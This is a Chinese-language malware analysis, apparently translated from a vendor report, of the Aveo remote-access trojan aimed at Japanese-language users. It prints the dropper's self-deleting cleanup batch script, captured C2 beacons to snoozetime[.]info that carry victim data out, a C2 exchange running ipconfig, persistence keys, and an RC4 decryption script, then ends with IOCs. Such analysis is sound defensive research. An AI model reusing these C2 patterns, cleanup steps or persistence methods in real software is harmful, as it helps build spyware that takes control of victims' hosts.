天创培训:您身边的信息安全培训专家!
技术中心
Aveo恶意软件分析

Palo Alto Networks 发现了一个名为 Aveo 的恶意软件家族,它针对日语用户开发。Aveo 的名字来自于其二进制文件中的嵌入式调试字符串。Aveo 恶意软件家族与 ForrmerFirstRAT 恶意软件家族有密切的联系,二者都针对日语用户。Aveo 会伪装成 Microsoft Excel 文档,并在执行时抛出诱饵文件。诱饵文档与埼玉工業大学 Ido 实验室的研究有关。执行后,Aveo 可以接收多种命令,这将允许攻击者完全控制感染主机。
部署
Aevo 的样本会伪装成 Microsoft Excel 文档,如下图所示。值得注意的是,malware.exe 只是一个占位符,原文件名未知。
Aveo恶意软件分析
 
该可执行文件其实是一个 WinRAR 的自解压可执行文件,它会在执行时抛出诱饵文档和 Aveo 木马来运行。下图就是抛出的诱饵文档,在运行之后打开:
Aveo恶意软件分析
这个诱饵文档是关于 Ido 实验室 2016 年研究立项的信息。该文件列出了 16 名参加 CAVE 的名单,包括名字、单位以及邮件地址。这个文档用日语书写,文件名也是日文 CAVE研究会参加者.xls,这些都表明该恶意软件是针对日语用户的。此外,Aveo 和 FormerFirstRAT 家族的相似性将会在稍后讨论,这个讨论将进一步支持该恶意软件是针对日语用户的。
基础设施
Aveo 木马配置了以下域名来进行 HTTP 通信:
snoozetime[.]info
jack.ondo@mail.com 最早在 2015 年 5 月就注册了,自那时起,该邮箱已经和以下三个 IP 地址关联上了:
104.202.173[.]82
107.180.36[.]179
50.63.202[.]38
所有这些 IP 地址都位于美国境内。
Aveo恶意软件分析
从 snoozetime[.]info 的 WHOIS 信息来看,注册邮箱为jack.ondo@mail[.]com,注册名为aygt5ruhrj aygt5ruhrj gerhjrt。根据这两条线索进行拓展:
bluepaint[.]info
coinpack[.]info
7b7p[.]info
donkeyhaws[.]info
europcubit[.]com
jhmiyh.ny@gmail[.]com
844148030@qq[.]com
恶意软件分析
在自解压可执行文件运行后,一系列的文件释出到文件系统中,其执行流如下:
Aveo恶意软件分析
当 mshelp32.exe 可执行程序运行时,首先读取setting32.ini 文件,其中包含着诱饵文档的名字。这一信息被用来构建一个批处理脚本,如下:
@echo off
copy "CAVE研究会参加者.xls" "C:\Documents and Settings\Administrator\Desktop\8101c298a33d91a985a5150d0254cf426601e4632250f5a03ddac39375e7fb4d.xls" /Y
del "CAVE研究会参加者.xls" /F /Q
del mshelp32.exe /F /Q
del setting32.ini /F /Q
del "C:\Documents and Settings\Administrator\Desktop\8101c298a33d91a985a5150d0254cf426601e4632250f5a03ddac39375e7fb4d.exe"  /F /Q
del %0 /F /Q
该批处理脚本在一个新的进程中执行,在 Aveo 运行、诱饵文档释放后执行清理工作。
Aveo 恶意软件家族
Aveo 恶意软件会在开始运行一个安装程序,该程序会复制自身到以下位置:%APPDATA%\MMC\MMC.exe如果因为某种原因,%APPDATA%\MMC 目录不能被创建,Aveo 将会使用 %TEMP% 来代替 %APPDATA%。恶意软件自身复制完成后,将会在新的进程中以原文件名为参数执行 MMC.exe。当执行时,如果提供了这单个参数,恶意软件将会删除掉制定路径内的文件。安装完成后,Aveo 将会提取以下受害人信息通过 HTTP 传到远程控制服务器上:
Unique victim hash
IP Address
Microsoft Windows version
Username
ANSI code page identifier
这个信息被送到 snoozetime[.]info上,像下面的 HTTP 请求样例:
GET /index.php?id=35467&1=ySxlp03YGm0-&2=yiFi6hjbFHf9UtL44RPQ&4=zTZh6h7bHGjiUMzn&5=sXcjrAmqXiyiGJWzuUQ-&6=yipl9g-- HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)
Host: snoozetime[.]info
Cache-Control: no-cache
恶意软件使用了 RC4 来对数据进行加密,使用 hello作为密钥。如下图所示,Aveo 和 FormerFirstRAT 的加密部分几乎是相同的,只s是算法和密钥变了。
Aveo恶意软件分析
可以通过以下代码来解密 HTTP 中传输的数据:
import base64
from binascii import *
from struct import *
from wincrypto import CryptCreateHash, CryptHashData, CryptDeriveKey, CryptEncrypt, CryptDecrypt
CALG_RC4 = 0x6801
CALG_MD5 = 0x8003
def decrypt(data):
  md5_hasher = CryptCreateHash(CALG_MD5)
  CryptHashData(md5_hasher, 'hello')
  generated_key = CryptDeriveKey(md5_hasher, CALG_RC4)
  decrypted_data = CryptDecrypt(generated_key, data)
  return decrypted_data
for a in 'index.php?id=35467&1=niBo9x/bFG4-&2=yi9i6hjbAmD5TNPu5A--&4=zTZh6h7bHGjiUMzn&5=sXcjrAmqXiyiGJWzuUQ-&6=yipl9g--'.split("&")[1:]:
  k,v = a.split("=")
  decrypted = decrypt(base64.b64decode(v.replace("-","=")))

  print "[+] Parameter {} Decrypted: {}".format(k, decrypted)
运行以上代码会产生以下结果:
[+] Parameter 1 Decrypted: e8836687
[+] Parameter 2 Decrypted: 172.16.95.184
[+] Parameter 4 Decrypted: 6.1.7601.2.1
[+] Parameter 5 Decrypted: Josh Grunzweig
[+] Parameter 6 Decrypted: 1252
在得到受害者信息后,恶意软件会按照预期返回 OK。之后 Aveo 将会产生一个新的线程来负责处理 C&C 服务器的命令,以及请求产生的交互式 Shell。Aveo 对注册表进行以下设置,以指向恶意软件的路径,从而保证重新启动后恶意软件仍然可以持久工作:HKCU\software\microsoft\windows\currentversion\run\msnetbridge然后命令处理程序进入轮询等待,Aveo 会从 C&C 服务器接收命令。虽然 Aveo 在等待响应,它也会执行随机延迟,延迟时间在 0 到 3276 毫秒之间。如果 C&C 服务器返回 toyota,会将间隔设置为 60 秒。Aveo 可以接收以下命令:
1.执行交互 Shell 命令
2.获取文件属性
3.写入文件
4.读取文件
5.驱动器列表
6.对路径执行 DIR 命令
以下请求显示了 C&C 服务器发送 ipconfig 命令到 Aveo 的过程:
C&C 请求
GET /index.php?id=35468&1=niBo9x/bFG4- HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)
Host: snoozetime[.]info
Cache-Control: no-cache
HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 11
Server: Werkzeug/0.11.10 Python/2.7.5
Date: Wed, 10 Aug 2016 16:00:11 GMT
\xca89\xb4J\x82B?\xa5\x05\xe8
[Decrypted] 
1 ipconfig
Aveo 响应
POST /index.php?id=35469&1=niBo9x/bFG4- HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)
Host: snoozetime[.]info
Content-Length: 1006
Cache-Control: no-cache
\xca\x38\x39\xb4\x4a\x82\x42\x3f\xa5\x05\xe8\xdb\xda\x74\x8b\x79\x39\x46\xf2\x42\x1f\xcd\x39\xf3\x65\x1d\xda\x49\x40\x6c\x5e\x6e\xab\x79\xc2\x44\xc3\xb0\x12\xfd\xe2\x84\x67\x0d\xa5\xd3\x50\x2d\x1c\x31\x4a\x9e\xcb\x3d\x08\xe6\x1b\x04\x85\xbf\x11\x0e\x96\x63\xcf\x71\xfe\xe4\x97\x2a\xdc\x12\x23\x4d\xcb\x0f\x93\x30\xbc\xa0\xc8\x4e\x4e\xd8\xdb\x33\xa2\xbe\xff\x5e\x89\x22\xb9\x16\xd1\xf0\x60\x71\x64\x7a\x10\xb8\x78\x76\xe5\x08\x90\x46\x30\xa3\xe2\x4e\xdc\x98\x11\x27\x62\x38\x00\xb4\x54\x6d\xd7\x5b\x19\x5f\x19\xb8\xd1\xf5\xc1\x9b\x97\xda\x84\x2c\xdd\x2d\x97\x0a\x69\x51\xd9\x31\x77\x4a\xe2\x7f\x5e\xc5\xaf\x02\x3c\x69\x9c\x5f\x94\x3e\x0c\x25\xce\x63\xa9\x43\xff\x34\x25\x42\x95\xa9\x1f\xaa\xdf\x2b\xa7\xb1\xc0\x3
[Truncated]
[Decrypted]
1 ipconfig
Windows IP Configuration
Ethernet adapter Bluetooth Network Connection:
   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . : 
[Truncated]
结论
Aveo 与 FormerFirstRAT 在多个特征上都是一致的,包括加密模块、代码重用和 C&C 功能。正如前面讨论的 FormerFirstRAT 样本,这个恶意软件家族看起来也是针对日语用户。使用自解压文件的 WinRAR 释放诱饵文档和 Aveo 的恶意软件副本以及清理脚本。Palo Alto Networks 的客户已经免受以下威胁:
1.AutoFocus 已经对这种威胁创建了跟踪和监控
2.WildFire 归类 Aveo 到恶意程序
3.C&C 域名列入 Threat Prevention 拦截黑名单
IOC
SHA256 哈希
9dccfdd2a503ef8614189225bbbac11ee6027590c577afcaada7e042e18625e2
8101c298a33d91a985a5150d0254cf426601e4632250f5a03ddac39375e7fb4d
C&C 域名
snoozetime[.]info
注册表键值
HKCU\software\microsoft\windows\currentversion\run\msnetbridge
文件路径
%APPDATA%\MMC\MMC.exe
%TEMP%\MMC\MMC.exe